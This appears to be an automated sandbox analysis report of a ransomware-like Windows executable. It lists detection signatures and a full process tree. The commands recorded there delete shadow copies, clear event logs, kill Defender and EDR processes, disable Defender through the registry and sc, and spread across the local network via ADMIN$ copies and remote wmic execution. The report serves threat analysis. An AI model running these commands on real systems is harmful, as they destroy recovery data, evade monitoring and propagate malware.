Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260618-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260618-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    28/06/2026, 00:02

General

  • Target
    bazzarnuker.exe
  • Size 178KB
  • Sample260628-abk36set4q
  • SHA256 e291887bbb71c61d72db816c7feab8822507bf1accbc089ce91f56ef72b3aea8
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 4 IoCs
  • Clears Windows event logs 1 TTPs 3 IoCs
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Disables service(s) 3 TTPs
  • Stops running service(s) 4 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Launches sc.exe 4 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Gathers network information 2 TTPs 1 IoCs

    Uses commandline utility to view network configuration.

  • Interacts with shadow copies 3 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Kills process with taskkill 6 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 32 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe
    "C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4072
    • C:\Windows\system32\taskkill.exe
      "taskkill" /f /im javaw.exe
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:1804
    • C:\Windows\system32\vssadmin.exe
      "vssadmin" delete shadows /all /quiet
      2⤵
      • Interacts with shadow copies
      PID:2368
    • C:\Windows\System32\Wbem\wmic.exe
      "wmic" shadowcopy delete
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1708
    • C:\Windows\system32\wevtutil.exe
      "wevtutil" cl Application
      2⤵
      • Clears Windows event logs
      • Suspicious use of AdjustPrivilegeToken
      PID:2836
    • C:\Windows\system32\wevtutil.exe
      "wevtutil" cl System
      2⤵
      • Clears Windows event logs
      • Suspicious use of AdjustPrivilegeToken
      PID:3744
    • C:\Windows\system32\wevtutil.exe
      "wevtutil" cl Security
      2⤵
      • Clears Windows event logs
      • Suspicious use of AdjustPrivilegeToken
      PID:5488
    • C:\Windows\system32\taskkill.exe
      "taskkill" /f /im MsMpEng.exe
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:2756
    • C:\Windows\system32\taskkill.exe
      "taskkill" /f /im NisSrv.exe
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:3312
    • C:\Windows\system32\taskkill.exe
      "taskkill" /f /im cb.exe
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:1156
    • C:\Windows\system32\taskkill.exe
      "taskkill" /f /im csfalconservice.exe
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:2688
    • C:\Windows\system32\taskkill.exe
      "taskkill" /f /im csagent.exe
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:4536
    • C:\Windows\system32\reg.exe
      "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
      2⤵
      • Modifies Windows Defender DisableAntiSpyware settings
      PID:2888
    • C:\Windows\system32\reg.exe
      "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
      2⤵
      • Modifies Windows Defender Real-time Protection settings
      PID:5068
    • C:\Windows\system32\reg.exe
      "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f
      2⤵
      • Modifies Windows Defender Real-time Protection settings
      PID:3476
    • C:\Windows\system32\sc.exe
      "sc" stop WinDefend
      2⤵
      • Launches sc.exe
      PID:796
    • C:\Windows\system32\sc.exe
      "sc" config WinDefend start= disabled
      2⤵
      • Launches sc.exe
      PID:1356
    • C:\Windows\system32\sc.exe
      "sc" stop Sense
      2⤵
      • Launches sc.exe
      PID:812
    • C:\Windows\system32\sc.exe
      "sc" config Sense start= disabled
      2⤵
      • Launches sc.exe
      PID:3456
    • C:\Windows\system32\ipconfig.exe
      "ipconfig"
      2⤵
      • Gathers network information
      PID:4412
    • C:\Windows\system32\cmd.exe
      "cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.1\ADMIN$\b.exe
      2⤵
        PID:5016
      • C:\Windows\system32\cmd.exe
        "cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.128\ADMIN$\b.exe
        2⤵
          PID:5492
        • C:\Windows\system32\cmd.exe
          "cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.64\ADMIN$\b.exe
          2⤵
            PID:2296
          • C:\Windows\system32\cmd.exe
            "cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.32\ADMIN$\b.exe
            2⤵
              PID:6128
            • C:\Windows\system32\cmd.exe
              "cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.16\ADMIN$\b.exe
              2⤵
                PID:1816
              • C:\Windows\system32\cmd.exe
                "cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.8\ADMIN$\b.exe
                2⤵
                  PID:1852
                • C:\Windows\system32\cmd.exe
                  "cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.48\ADMIN$\b.exe
                  2⤵
                    PID:3504
                  • C:\Windows\system32\cmd.exe
                    "cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.24\ADMIN$\b.exe
                    2⤵
                      PID:2600
                    • C:\Windows\System32\Wbem\wmic.exe
                      "wmic" /node: 192.168.1.64 process call create \\192.168.1.64\ADMIN$\b.exe
                      2⤵
                      • Suspicious behavior: EnumeratesProcesses
                      PID:824
                    • C:\Windows\System32\Wbem\wmic.exe
                      "wmic" /node: 192.168.1.8 process call create \\192.168.1.8\ADMIN$\b.exe
                      2⤵
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      PID:2724
                    • C:\Windows\System32\Wbem\wmic.exe
                      "wmic" /node: 192.168.1.48 process call create \\192.168.1.48\ADMIN$\b.exe
                      2⤵
                      • Suspicious behavior: EnumeratesProcesses
                      PID:5408
                    • C:\Windows\System32\Wbem\wmic.exe
                      "wmic" /node: 192.168.1.128 process call create \\192.168.1.128\ADMIN$\b.exe
                      2⤵
                      • Suspicious behavior: EnumeratesProcesses
                      PID:2032
                    • C:\Windows\System32\Wbem\wmic.exe
                      "wmic" /node: 192.168.1.1 process call create \\192.168.1.1\ADMIN$\b.exe
                      2⤵
                      • Suspicious behavior: EnumeratesProcesses
                      PID:1532
                    • C:\Windows\System32\Wbem\wmic.exe
                      "wmic" /node: 192.168.1.16 process call create \\192.168.1.16\ADMIN$\b.exe
                      2⤵
                      • Suspicious behavior: EnumeratesProcesses
                      PID:692
                    • C:\Windows\System32\Wbem\wmic.exe
                      "wmic" /node: 192.168.1.24 process call create \\192.168.1.24\ADMIN$\b.exe
                      2⤵
                      • Suspicious behavior: EnumeratesProcesses
                      PID:4252
                    • C:\Windows\System32\Wbem\wmic.exe
                      "wmic" /node: 192.168.1.32 process call create \\192.168.1.32\ADMIN$\b.exe
                      2⤵
                      • Suspicious behavior: EnumeratesProcesses
                      PID:1704
                    • C:\Windows\system32\cmd.exe
                      "cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.49\ADMIN$\b.exe
                      2⤵
                        PID:2648
                      • C:\Windows\system32\cmd.exe
                        "cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.9\ADMIN$\b.exe
                        2⤵
                          PID:716
                        • C:\Windows\system32\cmd.exe
                          "cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.65\ADMIN$\b.exe
                          2⤵
                            PID:5068
                          • C:\Windows\system32\cmd.exe
                            "cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.2\ADMIN$\b.exe
                            2⤵
                              PID:4296
                            • C:\Windows\system32\cmd.exe
                              "cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.33\ADMIN$\b.exe
                              2⤵
                                PID:3800
                              • C:\Windows\system32\cmd.exe
                                "cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.129\ADMIN$\b.exe
                                2⤵
                                  PID:1004
                                • C:\Windows\system32\cmd.exe
                                  "cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.17\ADMIN$\b.exe
                                  2⤵
                                    PID:5884
                                  • C:\Windows\system32\cmd.exe
                                    "cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.25\ADMIN$\b.exe
                                    2⤵
                                      PID:304
                                    • C:\Windows\System32\Wbem\wmic.exe
                                      "wmic" /node: 192.168.1.9 process call create \\192.168.1.9\ADMIN$\b.exe
                                      2⤵
                                      • Suspicious behavior: EnumeratesProcesses
                                      PID:3336
                                    • C:\Windows\System32\Wbem\wmic.exe
                                      "wmic" /node: 192.168.1.49 process call create \\192.168.1.49\ADMIN$\b.exe
                                      2⤵
                                      • Suspicious behavior: EnumeratesProcesses
                                      PID:1840
                                    • C:\Windows\System32\Wbem\wmic.exe
                                      "wmic" /node: 192.168.1.65 process call create \\192.168.1.65\ADMIN$\b.exe
                                      2⤵
                                      • Suspicious behavior: EnumeratesProcesses
                                      PID:1048
                                    • C:\Windows\System32\Wbem\wmic.exe
                                      "wmic" /node: 192.168.1.2 process call create \\192.168.1.2\ADMIN$\b.exe
                                      2⤵
                                      • Suspicious behavior: EnumeratesProcesses
                                      PID:5620
                                    • C:\Windows\System32\Wbem\wmic.exe
                                      "wmic" /node: 192.168.1.33 process call create \\192.168.1.33\ADMIN$\b.exe
                                      2⤵
                                      • Suspicious behavior: EnumeratesProcesses
                                      PID:6048
                                    • C:\Windows\System32\Wbem\wmic.exe
                                      "wmic" /node: 192.168.1.25 process call create \\192.168.1.25\ADMIN$\b.exe
                                      2⤵
                                      • Suspicious behavior: EnumeratesProcesses
                                      PID:2604
                                    • C:\Windows\System32\Wbem\wmic.exe
                                      "wmic" /node: 192.168.1.17 process call create \\192.168.1.17\ADMIN$\b.exe
                                      2⤵
                                      • Suspicious behavior: EnumeratesProcesses
                                      PID:1320
                                    • C:\Windows\System32\Wbem\wmic.exe
                                      "wmic" /node: 192.168.1.129 process call create \\192.168.1.129\ADMIN$\b.exe
                                      2⤵
                                        PID:5336
                                      • C:\Windows\system32\cmd.exe
                                        "cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.10\ADMIN$\b.exe
                                        2⤵
                                          PID:2900
                                        • C:\Windows\system32\cmd.exe
                                          "cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.50\ADMIN$\b.exe
                                          2⤵
                                            PID:4320
                                          • C:\Windows\system32\cmd.exe
                                            "cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.66\ADMIN$\b.exe
                                            2⤵
                                              PID:2136
                                            • C:\Windows\system32\cmd.exe
                                              "cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.3\ADMIN$\b.exe
                                              2⤵
                                                PID:964
                                              • C:\Windows\system32\cmd.exe
                                                "cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.26\ADMIN$\b.exe
                                                2⤵
                                                  PID:3664
                                                • C:\Windows\system32\cmd.exe
                                                  "cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.34\ADMIN$\b.exe
                                                  2⤵
                                                    PID:2968
                                                  • C:\Windows\system32\cmd.exe
                                                    "cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.130\ADMIN$\b.exe
                                                    2⤵
                                                      PID:1916
                                                    • C:\Windows\system32\cmd.exe
                                                      "cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.18\ADMIN$\b.exe
                                                      2⤵
                                                        PID:4064
                                                      • C:\Windows\System32\Wbem\wmic.exe
                                                        "wmic" /node: 192.168.1.10 process call create \\192.168.1.10\ADMIN$\b.exe
                                                        2⤵
                                                          PID:5376
                                                        • C:\Windows\System32\Wbem\wmic.exe
                                                          "wmic" /node: 192.168.1.50 process call create \\192.168.1.50\ADMIN$\b.exe
                                                          2⤵
                                                            PID:2104
                                                          • C:\Windows\System32\Wbem\wmic.exe
                                                            "wmic" /node: 192.168.1.66 process call create \\192.168.1.66\ADMIN$\b.exe
                                                            2⤵
                                                              PID:3476
                                                            • C:\Windows\System32\Wbem\wmic.exe
                                                              "wmic" /node: 192.168.1.3 process call create \\192.168.1.3\ADMIN$\b.exe
                                                              2⤵
                                                                PID:4868
                                                              • C:\Windows\System32\Wbem\wmic.exe
                                                                "wmic" /node: 192.168.1.26 process call create \\192.168.1.26\ADMIN$\b.exe
                                                                2⤵
                                                                  PID:1532
                                                                • C:\Windows\System32\Wbem\wmic.exe
                                                                  "wmic" /node: 192.168.1.130 process call create \\192.168.1.130\ADMIN$\b.exe
                                                                  2⤵
                                                                    PID:5696
                                                                  • C:\Windows\System32\Wbem\wmic.exe
                                                                    "wmic" /node: 192.168.1.34 process call create \\192.168.1.34\ADMIN$\b.exe
                                                                    2⤵
                                                                      PID:3328
                                                                    • C:\Windows\System32\Wbem\wmic.exe
                                                                      "wmic" /node: 192.168.1.18 process call create \\192.168.1.18\ADMIN$\b.exe
                                                                      2⤵
                                                                        PID:2204
                                                                      • C:\Windows\system32\cmd.exe
                                                                        "cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.11\ADMIN$\b.exe
                                                                        2⤵
                                                                          PID:1628
                                                                        • C:\Windows\system32\cmd.exe
                                                                          "cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.51\ADMIN$\b.exe
                                                                          2⤵
                                                                            PID:3464
                                                                          • C:\Windows\system32\cmd.exe
                                                                            "cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.67\ADMIN$\b.exe
                                                                            2⤵
                                                                              PID:4464
                                                                            • C:\Windows\system32\cmd.exe
                                                                              "cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.4\ADMIN$\b.exe
                                                                              2⤵
                                                                                PID:2088
                                                                              • C:\Windows\system32\cmd.exe
                                                                                "cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.35\ADMIN$\b.exe
                                                                                2⤵
                                                                                  PID:3044
                                                                                • C:\Windows\system32\cmd.exe
                                                                                  "cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.19\ADMIN$\b.exe
                                                                                  2⤵
                                                                                    PID:6024
                                                                                  • C:\Windows\system32\cmd.exe
                                                                                    "cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.27\ADMIN$\b.exe
                                                                                    2⤵
                                                                                      PID:5020
                                                                                    • C:\Windows\system32\cmd.exe
                                                                                      "cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.131\ADMIN$\b.exe
                                                                                      2⤵
                                                                                        PID:4624
                                                                                      • C:\Windows\System32\Wbem\wmic.exe
                                                                                        "wmic" /node: 192.168.1.11 process call create \\192.168.1.11\ADMIN$\b.exe
                                                                                        2⤵
                                                                                          PID:5068
                                                                                        • C:\Windows\System32\Wbem\wmic.exe
                                                                                          "wmic" /node: 192.168.1.51 process call create \\192.168.1.51\ADMIN$\b.exe
                                                                                          2⤵
                                                                                            PID:328
                                                                                        • C:\Windows\system32\vssvc.exe
                                                                                          C:\Windows\system32\vssvc.exe
                                                                                          1⤵
                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                          PID:2944
                                                                                        • C:\Windows\system32\svchost.exe
                                                                                          C:\Windows\system32\svchost.exe -k GPSvcGroup
                                                                                          1⤵
                                                                                            PID:4960

                                                                                          Network

                                                                                                MITRE ATT&CK Enterprise v16

                                                                                                Replay Monitor

                                                                                                Loading Replay Monitor...

                                                                                                Downloads

                                                                                                memory/4072-0-0x00007FF622B00000-0x00007FF622B7C000-memory.dmp

                                                                                                memory/4072-140-0x00007FF622B00000-0x00007FF622B7C000-memory.dmp